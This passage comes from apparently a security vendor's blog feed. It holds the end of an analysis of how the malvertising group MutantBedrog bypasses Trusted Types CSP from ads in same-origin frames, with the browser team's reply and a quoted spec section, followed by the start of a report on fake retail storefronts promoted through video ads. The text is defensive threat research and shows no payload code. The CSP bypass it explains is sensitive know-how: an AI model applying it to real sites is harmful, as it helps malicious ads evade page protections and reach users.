    &lt;/script&gt;</code></pre><p>And the result&#8230;.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!npH7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04af48d0-8799-4b59-879b-0655336ffea4_1000x419.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!npH7!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04af48d0-8799-4b59-879b-0655336ffea4_1000x419.png 424w, https://substackcdn.com/image/fetch/$s_!npH7!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04af48d0-8799-4b59-879b-0655336ffea4_1000x419.png 848w, https://substackcdn.com/image/fetch/$s_!npH7!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04af48d0-8799-4b59-879b-0655336ffea4_1000x419.png 1272w, https://substackcdn.com/image/fetch/$s_!npH7!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04af48d0-8799-4b59-879b-0655336ffea4_1000x419.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!npH7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04af48d0-8799-4b59-879b-0655336ffea4_1000x419.png" width="1000" height="419" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/04af48d0-8799-4b59-879b-0655336ffea4_1000x419.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:419,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!npH7!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04af48d0-8799-4b59-879b-0655336ffea4_1000x419.png 424w, https://substackcdn.com/image/fetch/$s_!npH7!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04af48d0-8799-4b59-879b-0655336ffea4_1000x419.png 848w, https://substackcdn.com/image/fetch/$s_!npH7!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04af48d0-8799-4b59-879b-0655336ffea4_1000x419.png 1272w, https://substackcdn.com/image/fetch/$s_!npH7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04af48d0-8799-4b59-879b-0655336ffea4_1000x419.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>At this stage in our testing, we have confirmed that given an environment that enforces a Trusted Types directive via CSP, MutantBedrog is able to bypass the CSP at every single stage of their execution from inside an ad injected into same-origin frame.</p><p>Given that the ad would be blocked by the CSP otherwise, we assume that the bypass must be exploiting a logic bug in the browser, so we submit a report to the Chrome team with our findings.</p><p>After a quick triage process, we were provided some very surprising feedback:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!cFq1!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3336b639-12c4-458c-9206-822ffcf64dfb_550x78.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!cFq1!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3336b639-12c4-458c-9206-822ffcf64dfb_550x78.png 424w, https://substackcdn.com/image/fetch/$s_!cFq1!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3336b639-12c4-458c-9206-822ffcf64dfb_550x78.png 848w, https://substackcdn.com/image/fetch/$s_!cFq1!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3336b639-12c4-458c-9206-822ffcf64dfb_550x78.png 1272w, https://substackcdn.com/image/fetch/$s_!cFq1!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3336b639-12c4-458c-9206-822ffcf64dfb_550x78.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!cFq1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3336b639-12c4-458c-9206-822ffcf64dfb_550x78.png" width="550" height="78" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3336b639-12c4-458c-9206-822ffcf64dfb_550x78.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:78,&quot;width&quot;:550,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!cFq1!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3336b639-12c4-458c-9206-822ffcf64dfb_550x78.png 424w, https://substackcdn.com/image/fetch/$s_!cFq1!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3336b639-12c4-458c-9206-822ffcf64dfb_550x78.png 848w, https://substackcdn.com/image/fetch/$s_!cFq1!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3336b639-12c4-458c-9206-822ffcf64dfb_550x78.png 1272w, https://substackcdn.com/image/fetch/$s_!cFq1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3336b639-12c4-458c-9206-822ffcf64dfb_550x78.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><blockquote><p>It&#8217;s working as intended. CSP is not propagated to iframes served over network (only to local schemes)</p></blockquote><p>Along with the following references:</p><p><strong><a href="https://www.w3.org/TR/CSP3/#security-inherit-csp">Content Security Policy Level 3</a></strong><a href="https://www.w3.org/TR/CSP3/#security-inherit-csp"><br></a><em><a href="https://www.w3.org/TR/CSP3/#security-inherit-csp">W3C Working Draft, More details about this document This section is not normative. This document defines Content&#8230;</a></em><a href="https://www.w3.org/TR/CSP3/#security-inherit-csp">www.w3.org</a></p><p><strong><a href="https://w3c.github.io/trusted-types/dist/spec/#cross-document-vectors">Trusted Types</a></strong><a href="https://w3c.github.io/trusted-types/dist/spec/#cross-document-vectors"><br></a><em><a href="https://w3c.github.io/trusted-types/dist/spec/#cross-document-vectors">Editor&#8217;s Draft, More details about this document This section is not normative. Certain classes of vulnerabilities&#8230;</a></em><a href="https://w3c.github.io/trusted-types/dist/spec/#cross-document-vectors">w3c.github.io</a></p><p>And an eye-opening reference from the Trusted Types spec:</p><blockquote><p>5.1. Cross-document vectors</p><p>While the code running in a window in which Trusted Types are enforced cannot dynamically create nodes that would bypass the policy restrictions, it is possible that such nodes can be imported or adopted from documents in other windows, that don&#8217;t have the same set of restrictions. In essence&#8202;&#8212;&#8202;it is possible to bypass Trusted Types if a malicious author creates a setup in which a restricted document colludes with an unrestricted one. In an extreme case, the restricted document might create a <code>Blob</code> from strings and navigate to it.</p><p>CSP propagation rules (see <a href="https://w3c.github.io/webappsec-csp/#security-inherit-csp">Content Security Policy 3 &#167; 7.8 CSP Inheriting to avoid bypasses</a> partially address this issue, as new <a href="https://fetch.spec.whatwg.org/#local-scheme">local scheme</a> documents will inherit the same set of restrictions, so&#8202;&#8212;&#8202;for example&#8202;&#8212;&#8202;<code>script-src</code> restrictions could be used to make sure injections into <code>Blob</code> contents would not execute scripts. To address this issue comprehensively, other mechanisms like <a href="https://wicg.github.io/origin-policy/">Origin Policy</a> should be used to ensure that baseline security rules are applied for the whole origin.</p></blockquote><p>Turns out that this flavor of Trusted Types bypass is not a browser bug exploit after all and this bypass scenario is even documented and cautioned against in the very spec for this functionality.</p><div><hr></div><p>Reflecting on our analysis of this malicious payload, and particularly this CSP bypass, we&#8217;ve landed on a few important take-aways:</p><ol><li><p>Highly adept cybercriminals like MutantBedrog continue to push technical boundaries in surprising ways, going as far as understanding browser security at the specification level, in order to orchestrate sophisticated payloads that are optimized to work under multiple edge cases.</p></li><li><p>CSPs are a powerful tool that can be leveraged to combat all kinds of XSS and injection attacks, but are tough to get right, especially when it comes to same-origin threats like those that might leak in from an ad serving environment.</p></li></ol><p><em><strong>Archive: This article was originally published on our Confiant Medium blog on September 16, 2024.</strong></em></p>]]></content:encoded></item><item><title><![CDATA[Phantom Stores: Retail Impersonation Spreads Ahead of Black Friday Powered by Video Ads and Modular 'Holiday Skins' Kit]]></title><description><![CDATA[In the frenzied weeks leading up to Black Friday and Cyber Monday, Ad Tech&#8217;s busiest season, a new cluster of phantom storefronts has surged into view.]]></description><link>https://blog.confiant.com/p/phantom-stores-retail-impersonation</link><guid isPermaLink="false">https://blog.confiant.com/p/phantom-stores-retail-impersonation</guid><dc:creator><![CDATA[Confiant]]></dc:creator><pubDate>Mon, 24 Nov 2025 16:51:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!C0U9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51f3fad5-1078-4c5d-844e-fe127c00ea56_1537x1025.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!C0U9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51f3fad5-1078-4c5d-844e-fe127c00ea56_1537x1025.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!C0U9!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51f3fad5-1078-4c5d-844e-fe127c00ea56_1537x1025.png 424w, https://substackcdn.com/image/fetch/$s_!C0U9!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51f3fad5-1078-4c5d-844e-fe127c00ea56_1537x1025.png 848w, https://substackcdn.com/image/fetch/$s_!C0U9!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51f3fad5-1078-4c5d-844e-fe127c00ea56_1537x1025.png 1272w, https://substackcdn.com/image/fetch/$s_!C0U9!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51f3fad5-1078-4c5d-844e-fe127c00ea56_1537x1025.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!C0U9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51f3fad5-1078-4c5d-844e-fe127c00ea56_1537x1025.png" width="1456" height="971" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/51f3fad5-1078-4c5d-844e-fe127c00ea56_1537x1025.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:971,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1387624,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://confiant.substack.com/i/186232881?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51f3fad5-1078-4c5d-844e-fe127c00ea56_1537x1025.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!C0U9!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51f3fad5-1078-4c5d-844e-fe127c00ea56_1537x1025.png 424w, https://substackcdn.com/image/fetch/$s_!C0U9!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51f3fad5-1078-4c5d-844e-fe127c00ea56_1537x1025.png 848w, https://substackcdn.com/image/fetch/$s_!C0U9!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51f3fad5-1078-4c5d-844e-fe127c00ea56_1537x1025.png 1272w, https://substackcdn.com/image/fetch/$s_!C0U9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51f3fad5-1078-4c5d-844e-fe127c00ea56_1537x1025.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>In the frenzied weeks leading up to Black Friday and Cyber Monday, Ad Tech&#8217;s busiest season, a new cluster of <strong>phantom storefronts</strong> has surged into view. While trademark abuse and counterfeit retail are cyclical seasonal holiday threats, this year brings a heavy pivot to <strong>short-form, &#8220;TikTok-style&#8221;</strong> <strong>video ads</strong> to drive traffic combined with resilient infrastructure.</p><p><em>This article was originally published on our Confiant Medium blog on November 24, 2025</em></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!rVY4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F813ec056-a6c8-4493-a35e-a13f2a36b9c6_240x427.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!rVY4!,w_424,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F813ec056-a6c8-4493-a35e-a13f2a36b9c6_240x427.gif 424w, https://substackcdn.com/image/fetch/$s_!rVY4!,w_848,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F813ec056-a6c8-4493-a35e-a13f2a36b9c6_240x427.gif 848w, https://substackcdn.com/image/fetch/$s_!rVY4!,w_1272,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F813ec056-a6c8-4493-a35e-a13f2a36b9c6_240x427.gif 1272w, https://substackcdn.com/image/fetch/$s_!rVY4!,w_1456,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F813ec056-a6c8-4493-a35e-a13f2a36b9c6_240x427.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!rVY4!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F813ec056-a6c8-4493-a35e-a13f2a36b9c6_240x427.gif" width="320" height="569.3333333333333" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/813ec056-a6c8-4493-a35e-a13f2a36b9c6_240x427.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:427,&quot;width&quot;:240,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!rVY4!,w_424,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F813ec056-a6c8-4493-a35e-a13f2a36b9c6_240x427.gif 424w, https://substackcdn.com/image/fetch/$s_!rVY4!,w_848,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F813ec056-a6c8-4493-a35e-a13f2a36b9c6_240x427.gif 848w, https://substackcdn.com/image/fetch/$s_!rVY4!,w_1272,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F813ec056-a6c8-4493-a35e-a13f2a36b9c6_240x427.gif 1272w, https://substackcdn.com/image/fetch/$s_!rVY4!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F813ec056-a6c8-4493-a35e-a13f2a36b9c6_240x427.gif 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Malicious Video Ads</figcaption></figure></div><h3>Timing the Abuse of the Ad Ecosystem</h3><p>This cluster is capitalizing on the current &#8216;search and discovery&#8217; phase of the shopping cycle. It is aggressively targeting high-demand gifting items like laptops, luxury apparel, and home appliances, alongside seasonal staples like Christmas trees, lights and holiday chocolate. It is timed specifically to coincide with legitimate &#8216;Early Black Friday&#8217; and holiday sales events, and notably going with <strong>video ads</strong> rather than static ads. Trademarks of <strong>dozens of major brands</strong> are abused, in particular giants Amazon, Costco, Walmart and Home Depot.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!lrnu!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b35cd42-4448-41b3-a53e-bda5fd86a6f9_1000x525.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!lrnu!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b35cd42-4448-41b3-a53e-bda5fd86a6f9_1000x525.png 424w, https://substackcdn.com/image/fetch/$s_!lrnu!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b35cd42-4448-41b3-a53e-bda5fd86a6f9_1000x525.png 848w, https://substackcdn.com/image/fetch/$s_!lrnu!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b35cd42-4448-41b3-a53e-bda5fd86a6f9_1000x525.png 1272w, https://substackcdn.com/image/fetch/$s_!lrnu!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b35cd42-4448-41b3-a53e-bda5fd86a6f9_1000x525.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!lrnu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b35cd42-4448-41b3-a53e-bda5fd86a6f9_1000x525.png" width="1000" height="525" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7b35cd42-4448-41b3-a53e-bda5fd86a6f9_1000x525.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:525,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!lrnu!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b35cd42-4448-41b3-a53e-bda5fd86a6f9_1000x525.png 424w, https://substackcdn.com/image/fetch/$s_!lrnu!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b35cd42-4448-41b3-a53e-bda5fd86a6f9_1000x525.png 848w, https://substackcdn.com/image/fetch/$s_!lrnu!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b35cd42-4448-41b3-a53e-bda5fd86a6f9_1000x525.png 1272w, https://substackcdn.com/image/fetch/$s_!lrnu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b35cd42-4448-41b3-a53e-bda5fd86a6f9_1000x525.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Google Trends Data- Black Friday Deals October 1&#8202;&#8212;&#8202;November 19 2025</figcaption></figure></div><p>From a revenue perspective, <strong>Q4 is critical in Ad Tech</strong>. Ad Tech companies generate a significant portion of their annual profits during this window, while advertisers aggressively deploy their remaining budgets.</p><p>Consequently, Ad Operations teams operate at maximum capacity, managing a significant increase in campaigns for Black Friday and Cyber Monday events. They face pressure to approve and launch campaigns rapidly. Ad Operations teams treat &#8220;high-CPM&#8221; brands like the ones we saw abused with care during Q4 because of their impact on revenue and driving spend. In this <strong>high-velocity environment</strong>, mimicking high-CPM brands can be quite effective. Additionally, video ads are time-consuming to review and historically perceived as safe, often giving them a degree of <strong>implicit trust</strong> from reviewers.</p><p>Attackers try to exploit this <strong>operational 